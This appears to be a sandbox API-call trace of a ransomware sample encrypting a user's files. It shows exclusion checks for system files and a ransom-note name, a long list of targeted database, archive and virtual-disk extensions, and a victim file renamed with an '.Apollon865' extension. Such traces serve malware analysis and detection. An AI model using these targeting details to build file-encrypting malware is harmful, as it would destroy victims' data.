	[0086.721] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.722] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.722] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.722] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.723] CloseHandle (hObject=0x15c) returned 1
	[0086.723] CloseHandle (hObject=0x9c) returned 1
	[0086.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.724] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868d3fe0, ftCreationTime.dwHighDateTime=0x1d4ceea, ftLastAccessTime.dwLowDateTime=0x13cb41c0, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x13cb41c0, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0xf046, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dM1P.avi", cAlternateFileName="")) returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="Apollon865.txt.exe") returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2=".") returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="..") returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="windows") returned -1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="bootmgr") returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="temp") returned -1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="pagefile.sys") returned -1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="boot") returned 1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="ids.txt") returned -1
	[0086.724] lstrcmpiW (lpString1="dM1P.avi", lpString2="ntuser.dat") returned -1
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2="perflogs") returned -1
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2="MSBuild") returned -1
	[0086.725] lstrlenW (lpString="dM1P.avi") returned 8
	[0086.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\CTJo.swf") returned 51
	[0086.725] lstrcpyW (in: lpString1=0x119e65e, lpString2="dM1P.avi" | out: lpString1="dM1P.avi") returned="dM1P.avi"
	[0086.725] lstrlenW (lpString="dM1P.avi") returned 8
	[0086.725] lstrlenW (lpString="Apollon865") returned 10
	[0086.725] lstrlenW (lpString=".dll") returned 4
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2=".dll") returned 1
	[0086.725] lstrlenW (lpString=".lnk") returned 4
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2=".lnk") returned 1
	[0086.725] lstrlenW (lpString=".ini") returned 4
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2=".ini") returned 1
	[0086.725] lstrlenW (lpString=".sys") returned 4
	[0086.725] lstrcmpiW (lpString1="dM1P.avi", lpString2=".sys") returned 1
	[0086.725] lstrlenW (lpString="dM1P.avi") returned 8
	[0086.725] lstrlenW (lpString="bak") returned 3
	[0086.725] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.725] lstrlenW (lpString="ba_") returned 3
	[0086.725] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.725] lstrlenW (lpString="dbb") returned 3
	[0086.725] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.725] lstrlenW (lpString="vmdk") returned 4
	[0086.725] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.725] lstrlenW (lpString="rar") returned 3
	[0086.725] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.725] lstrlenW (lpString="zip") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.726] lstrlenW (lpString="tgz") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.726] lstrlenW (lpString="vbox") returned 4
	[0086.726] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.726] lstrlenW (lpString="vdi") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.726] lstrlenW (lpString="vhd") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.726] lstrlenW (lpString="vhdx") returned 4
	[0086.726] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.726] lstrlenW (lpString="avhd") returned 4
	[0086.726] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.726] lstrlenW (lpString="db") returned 2
	[0086.726] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.726] lstrlenW (lpString="db2") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.726] lstrlenW (lpString="db3") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.726] lstrlenW (lpString="dbf") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.726] lstrlenW (lpString="mdf") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.726] lstrlenW (lpString="mdb") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.726] lstrlenW (lpString="sql") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.726] lstrlenW (lpString="sqlite") returned 6
	[0086.726] lstrcmpiW (lpString1="1P.avi", lpString2="sqlite") returned -1
	[0086.726] lstrlenW (lpString="sqlite3") returned 7
	[0086.726] lstrcmpiW (lpString1="M1P.avi", lpString2="sqlite3") returned -1
	[0086.726] lstrlenW (lpString="sqlitedb") returned 8
	[0086.726] lstrlenW (lpString="xml") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.726] lstrlenW (lpString="$er") returned 3
	[0086.726] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.726] lstrlenW (lpString="4dd") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.727] lstrlenW (lpString="4dl") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.727] lstrlenW (lpString="^^^") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.727] lstrlenW (lpString="abs") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.727] lstrlenW (lpString="abx") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.727] lstrlenW (lpString="accdb") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accdb") returned 1
	[0086.727] lstrlenW (lpString="accdc") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accdc") returned 1
	[0086.727] lstrlenW (lpString="accde") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accde") returned 1
	[0086.727] lstrlenW (lpString="accdr") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accdr") returned 1
	[0086.727] lstrlenW (lpString="accdt") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accdt") returned 1
	[0086.727] lstrlenW (lpString="accdw") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accdw") returned 1
	[0086.727] lstrlenW (lpString="accft") returned 5
	[0086.727] lstrcmpiW (lpString1="P.avi", lpString2="accft") returned 1
	[0086.727] lstrlenW (lpString="adb") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.727] lstrlenW (lpString="adb") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.727] lstrlenW (lpString="ade") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.727] lstrlenW (lpString="adf") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.727] lstrlenW (lpString="adn") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.727] lstrlenW (lpString="adp") returned 3
	[0086.727] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.727] lstrlenW (lpString="alf") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.728] lstrlenW (lpString="ask") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.728] lstrlenW (lpString="btr") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.728] lstrlenW (lpString="cat") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.728] lstrlenW (lpString="cdb") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.728] lstrlenW (lpString="ckp") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.728] lstrlenW (lpString="cma") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.728] lstrlenW (lpString="cpd") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.728] lstrlenW (lpString="dacpac") returned 6
	[0086.728] lstrcmpiW (lpString1="1P.avi", lpString2="dacpac") returned -1
	[0086.728] lstrlenW (lpString="dad") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.728] lstrlenW (lpString="dadiagrams") returned 10
	[0086.728] lstrlenW (lpString="daschema") returned 8
	[0086.728] lstrlenW (lpString="db-journal") returned 10
	[0086.728] lstrlenW (lpString="db-shm") returned 6
	[0086.728] lstrcmpiW (lpString1="1P.avi", lpString2="db-shm") returned -1
	[0086.728] lstrlenW (lpString="db-wal") returned 6
	[0086.728] lstrcmpiW (lpString1="1P.avi", lpString2="db-wal") returned -1
	[0086.728] lstrlenW (lpString="dbc") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.728] lstrlenW (lpString="dbs") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.728] lstrlenW (lpString="dbt") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.728] lstrlenW (lpString="dbv") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.728] lstrlenW (lpString="dbx") returned 3
	[0086.728] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.729] lstrlenW (lpString="dcb") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.729] lstrlenW (lpString="dct") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.729] lstrlenW (lpString="dcx") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.729] lstrlenW (lpString="ddl") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.729] lstrlenW (lpString="dlis") returned 4
	[0086.729] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.729] lstrlenW (lpString="dp1") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.729] lstrlenW (lpString="dqy") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.729] lstrlenW (lpString="dsk") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.729] lstrlenW (lpString="dsn") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.729] lstrlenW (lpString="dtsx") returned 4
	[0086.729] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.729] lstrlenW (lpString="dxl") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.729] lstrlenW (lpString="eco") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.729] lstrlenW (lpString="ecx") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.729] lstrlenW (lpString="edb") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.729] lstrlenW (lpString="epim") returned 4
	[0086.729] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.729] lstrlenW (lpString="fcd") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.729] lstrlenW (lpString="fdb") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.729] lstrlenW (lpString="fic") returned 3
	[0086.729] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.730] lstrlenW (lpString="flexolibrary") returned 12
	[0086.730] lstrlenW (lpString="fm5") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.730] lstrlenW (lpString="fmp") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.730] lstrlenW (lpString="fmp12") returned 5
	[0086.730] lstrcmpiW (lpString1="P.avi", lpString2="fmp12") returned 1
	[0086.730] lstrlenW (lpString="fmpsl") returned 5
	[0086.730] lstrcmpiW (lpString1="P.avi", lpString2="fmpsl") returned 1
	[0086.730] lstrlenW (lpString="fol") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.730] lstrlenW (lpString="fp3") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.730] lstrlenW (lpString="fp4") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.730] lstrlenW (lpString="fp5") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.730] lstrlenW (lpString="fp7") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.730] lstrlenW (lpString="fpt") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.730] lstrlenW (lpString="frm") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.730] lstrlenW (lpString="gdb") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.730] lstrlenW (lpString="gdb") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.730] lstrlenW (lpString="grdb") returned 4
	[0086.730] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.730] lstrlenW (lpString="gwi") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.730] lstrlenW (lpString="hdb") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.730] lstrlenW (lpString="his") returned 3
	[0086.730] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.730] lstrlenW (lpString="ib") returned 2
	[0086.730] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.731] lstrlenW (lpString="idb") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.731] lstrlenW (lpString="ihx") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.731] lstrlenW (lpString="itdb") returned 4
	[0086.731] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.731] lstrlenW (lpString="itw") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.731] lstrlenW (lpString="jet") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.731] lstrlenW (lpString="jtx") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.731] lstrlenW (lpString="kdb") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.731] lstrlenW (lpString="kexi") returned 4
	[0086.731] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.731] lstrlenW (lpString="kexic") returned 5
	[0086.731] lstrcmpiW (lpString1="P.avi", lpString2="kexic") returned 1
	[0086.731] lstrlenW (lpString="kexis") returned 5
	[0086.731] lstrcmpiW (lpString1="P.avi", lpString2="kexis") returned 1
	[0086.731] lstrlenW (lpString="lgc") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.731] lstrlenW (lpString="lwx") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.731] lstrlenW (lpString="maf") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.731] lstrlenW (lpString="maq") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.731] lstrlenW (lpString="mar") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.731] lstrlenW (lpString="marshal") returned 7
	[0086.731] lstrcmpiW (lpString1="M1P.avi", lpString2="marshal") returned -1
	[0086.731] lstrlenW (lpString="mas") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.731] lstrlenW (lpString="mav") returned 3
	[0086.731] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.731] lstrlenW (lpString="maw") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.732] lstrlenW (lpString="mdbhtml") returned 7
	[0086.732] lstrcmpiW (lpString1="M1P.avi", lpString2="mdbhtml") returned -1
	[0086.732] lstrlenW (lpString="mdn") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.732] lstrlenW (lpString="mdt") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.732] lstrlenW (lpString="mfd") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.732] lstrlenW (lpString="mpd") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.732] lstrlenW (lpString="mrg") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.732] lstrlenW (lpString="mud") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.732] lstrlenW (lpString="mwb") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.732] lstrlenW (lpString="myd") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.732] lstrlenW (lpString="ndf") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.732] lstrlenW (lpString="nnt") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.732] lstrlenW (lpString="nrmlib") returned 6
	[0086.732] lstrcmpiW (lpString1="1P.avi", lpString2="nrmlib") returned -1
	[0086.732] lstrlenW (lpString="ns2") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.732] lstrlenW (lpString="ns3") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.732] lstrlenW (lpString="ns4") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.732] lstrlenW (lpString="nsf") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.732] lstrlenW (lpString="nv") returned 2
	[0086.732] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.732] lstrlenW (lpString="nv2") returned 3
	[0086.732] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.733] lstrlenW (lpString="nwdb") returned 4
	[0086.733] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.733] lstrlenW (lpString="nyf") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.733] lstrlenW (lpString="odb") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.733] lstrlenW (lpString="odb") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.733] lstrlenW (lpString="oqy") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.733] lstrlenW (lpString="ora") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.733] lstrlenW (lpString="orx") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.733] lstrlenW (lpString="owc") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.733] lstrlenW (lpString="p96") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.733] lstrlenW (lpString="p97") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.733] lstrlenW (lpString="pan") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.733] lstrlenW (lpString="pdb") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.733] lstrlenW (lpString="pdm") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.733] lstrlenW (lpString="pnz") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.733] lstrlenW (lpString="qry") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.733] lstrlenW (lpString="qvd") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.733] lstrlenW (lpString="rbf") returned 3
	[0086.733] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.733] lstrlenW (lpString="rctd") returned 4
	[0086.733] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.734] lstrlenW (lpString="rod") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.734] lstrlenW (lpString="rodx") returned 4
	[0086.734] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.734] lstrlenW (lpString="rpd") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.734] lstrlenW (lpString="rsd") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.734] lstrlenW (lpString="sas7bdat") returned 8
	[0086.734] lstrlenW (lpString="sbf") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.734] lstrlenW (lpString="scx") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.734] lstrlenW (lpString="sdb") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.734] lstrlenW (lpString="sdc") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.734] lstrlenW (lpString="sdf") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.734] lstrlenW (lpString="sis") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.734] lstrlenW (lpString="spq") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.734] lstrlenW (lpString="te") returned 2
	[0086.734] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.734] lstrlenW (lpString="teacher") returned 7
	[0086.734] lstrcmpiW (lpString1="M1P.avi", lpString2="teacher") returned -1
	[0086.734] lstrlenW (lpString="tmd") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.734] lstrlenW (lpString="tps") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.734] lstrlenW (lpString="trc") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.734] lstrlenW (lpString="trc") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.734] lstrlenW (lpString="trm") returned 3
	[0086.734] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.735] lstrlenW (lpString="udb") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.735] lstrlenW (lpString="udl") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.735] lstrlenW (lpString="usr") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.735] lstrlenW (lpString="v12") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.735] lstrlenW (lpString="vis") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.735] lstrlenW (lpString="vpd") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.735] lstrlenW (lpString="vvv") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.735] lstrlenW (lpString="wdb") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.735] lstrlenW (lpString="wmdb") returned 4
	[0086.735] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.735] lstrlenW (lpString="wrk") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.735] lstrlenW (lpString="xdb") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.735] lstrlenW (lpString="xld") returned 3
	[0086.735] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.735] lstrlenW (lpString="xmlff") returned 5
	[0086.735] lstrcmpiW (lpString1="P.avi", lpString2="xmlff") returned -1
	[0086.735] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\dM1P.avi.Apollon865") returned 62
	[0086.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\dM1P.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\dm1p.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\dM1P.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\dm1p.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\dM1P.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\dm1p.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
